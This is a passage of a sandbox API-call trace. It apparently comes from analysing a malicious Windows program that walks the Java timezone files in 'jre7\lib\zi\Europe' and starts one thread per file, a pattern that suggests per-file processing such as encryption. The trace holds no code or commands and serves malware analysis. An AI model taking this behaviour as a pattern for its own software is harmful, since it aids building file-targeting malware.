lpParameter=0x8e8788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd24 [0181.473] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Minsk", cAlternateFileName="")) returned 1 [0181.473] wcscmp (_String1="Minsk", _String2=".") returned 1 [0181.473] wcscmp (_String1="Minsk", _String2="..") returned 1 [0181.473] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8bc0 [0181.473] wcscpy (in: _Dest=0x8e8bc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.473] wcscat (in: _Dest=0x8e8bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.473] wcscat (in: _Dest=0x8e8bc0, _Source="Minsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Minsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Minsk" [0181.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd20 [0181.475] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x628, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monaco", cAlternateFileName="")) returned 1 [0181.475] wcscmp (_String1="Monaco", _String2=".") returned 1 [0181.475] wcscmp (_String1="Monaco", _String2="..") returned 1 [0181.475] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e94a8 [0181.475] wcscpy (in: _Dest=0x8e94a8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.475] wcscat (in: _Dest=0x8e94a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.475] wcscat (in: _Dest=0x8e94a8, _Source="Monaco" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Monaco") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Monaco" [0181.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e94a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd1c [0181.476] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Moscow", cAlternateFileName="")) returned 1 [0181.476] wcscmp (_String1="Moscow", _String2=".") returned 1 [0181.476] wcscmp (_String1="Moscow", _String2="..") returned 1 [0181.476] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e9340 [0181.476] wcscpy (in: _Dest=0x8e9340, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.476] wcscat (in: _Dest=0x8e9340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.476] wcscat (in: _Dest=0x8e9340, _Source="Moscow" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Moscow") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Moscow" [0181.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e9340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd18 [0181.477] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oslo", cAlternateFileName="")) returned 1 [0181.478] wcscmp (_String1="Oslo", _String2=".") returned 1 [0181.478] wcscmp (_String1="Oslo", _String2="..") returned 1 [0181.478] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1b48 [0181.478] wcscpy (in: _Dest=0x8f1b48, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.478] wcscat (in: _Dest=0x8f1b48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.478] wcscat (in: _Dest=0x8f1b48, _Source="Oslo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Oslo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Oslo" [0181.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd14 [0181.479] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paris", cAlternateFileName="")) returned 1 [0181.479] wcscmp (_String1="Paris", _String2=".") returned 1 [0181.479] wcscmp (_String1="Paris", _String2="..") returned 1 [0181.479] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8a58 [0181.479] wcscpy (in: _Dest=0x8e8a58, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.479] wcscat (in: _Dest=0x8e8a58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.479] wcscat (in: _Dest=0x8e8a58, _Source="Paris" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Paris") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Paris" [0181.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf10 [0181.480] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prague", cAlternateFileName="")) returned 1 [0181.480] wcscmp (_String1="Prague", _String2=".") returned 1 [0181.480] wcscmp (_String1="Prague", _String2="..") returned 1 [0181.480] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e9160 [0181.480] wcscpy (in: _Dest=0x8e9160, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.480] wcscat (in: _Dest=0x8e9160, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.480] wcscat (in: _Dest=0x8e9160, _Source="Prague" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Prague") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Prague" [0181.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e9160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf0c [0181.482] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riga", cAlternateFileName="")) returned 1 [0181.482] wcscmp (_String1="Riga", _String2=".") returned 1 [0181.482] wcscmp (_String1="Riga", _String2="..") returned 1 [0181.482] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f0f78 [0181.482] wcscpy (in: _Dest=0x8f0f78, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.482] wcscat (in: _Dest=0x8f0f78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.482] wcscat (in: _Dest=0x8f0f78, _Source="Riga" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Riga") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Riga" [0181.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f0f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0181.483] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rome", cAlternateFileName="")) returned 1 [0181.483] wcscmp (_String1="Rome", _String2=".") returned 1 [0181.483] wcscmp (_String1="Rome", _String2="..") returned 1 [0181.483] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1838 [0181.483] wcscpy (in: _Dest=0x8f1838, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.483] wcscat (in: _Dest=0x8f1838, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.483] wcscat (in: _Dest=0x8f1838, _Source="Rome" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Rome") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Rome" [0181.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1358 [0181.484] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Samara", cAlternateFileName="")) returned 1 [0181.484] wcscmp (_String1="Samara", _String2=".") returned 1 [0181.484] wcscmp (_String1="Samara", _String2="..") returned 1 [0181.485] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e92c8 [0181.485] wcscpy (in: _Dest=0x8e92c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.485] wcscat (in: _Dest=0x8e92c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.485] wcscat (in: _Dest=0x8e92c8, _Source="Samara" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Samara") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Samara" [0181.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e92c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee8 [0181.486] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simferopol", cAlternateFileName="SIMFER~1")) returned 1 [0181.486] wcscmp (_String1="Simferopol", _String2=".") returned 1 [0181.486] wcscmp (_String1="Simferopol", _String2="..") returned 1 [0181.486] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0880 [0181.486] wcscpy (in: _Dest=0x8d0880, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.486] wcscat (in: _Dest=0x8d0880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.486] wcscat (in: _Dest=0x8d0880, _Source="Simferopol" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Simferopol") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Simferopol" [0181.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0181.487] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sofia", cAlternateFileName="")) returned 1 [0181.487] wcscmp (_String1="Sofia", _String2=".") returned 1 [0181.487] wcscmp (_String1="Sofia", _String2="..") returned 1 [0181.487] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8b48 [0181.488] wcscpy (in: _Dest=0x8e8b48, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.488] wcscat (in: _Dest=0x8e8b48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.488] wcscat (in: _Dest=0x8e8b48, _Source="Sofia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Sofia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Sofia" [0181.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0181.489] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stockholm", cAlternateFileName="STOCKH~1")) returned 1 [0181.489] wcscmp (_String1="Stockholm", _String2=".") returned 1 [0181.489] wcscmp (_String1="Stockholm", _String2="..") returned 1 [0181.489] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0600 [0181.489] wcscpy (in: _Dest=0x8d0600, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.489] wcscat (in: _Dest=0x8d0600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.489] wcscat (in: _Dest=0x8d0600, _Source="Stockholm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Stockholm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Stockholm" [0181.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60 [0181.490] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tallinn", cAlternateFileName="")) returned 1 [0181.490] wcscmp (_String1="Tallinn", _String2=".") returned 1 [0181.490] wcscmp (_String1="Tallinn", _String2="..") returned 1 [0181.490] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8710 [0181.490] wcscpy (in: _Dest=0x8e8710, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.490] wcscat (in: _Dest=0x8e8710, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.490] wcscat (in: _Dest=0x8e8710, _Source="Tallinn" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tallinn") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tallinn" [0181.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0181.491] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tirane", cAlternateFileName="")) returned 1 [0181.491] wcscmp (_String1="Tirane", _String2=".") returned 1 [0181.492] wcscmp (_String1="Tirane", _String2="..") returned 1 [0181.492] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8e18 [0181.492] wcscpy (in: _Dest=0x8e8e18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.492] wcscat (in: _Dest=0x8e8e18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.492] wcscat (in: _Dest=0x8e8e18, _Source="Tirane" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tirane") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tirane" [0181.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58 [0181.493] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uzhgorod", cAlternateFileName="")) returned 1 [0181.493] wcscmp (_String1="Uzhgorod", _String2=".") returned 1 [0181.493] wcscmp (_String1="Uzhgorod", _String2="..") returned 1 [0181.493] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8c38 [0181.493] wcscpy (in: _Dest=0x8e8c38, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.493] wcscat (in: _Dest=0x8e8c38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.493] wcscat (in: _Dest=0x8e8c38, _Source="Uzhgorod" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod" [0181.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50 [0181.494] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vaduz", cAlternateFileName="")) returned 1 [0181.494] wcscmp (_String1="Vaduz", _String2=".") returned 1 [0181.494] wcscmp (_String1="Vaduz", _String2="..") returned 1 [0181.494] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c5a8 [0181.494] wcscpy (in: _Dest=0x93c5a8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0181.494] wcscat (in: _Dest=0x93c5a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0181.494] wcscat (in: _Dest=0x93c5a8, _Source="Vaduz" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vaduz") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vaduz" [0181.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c5a8, 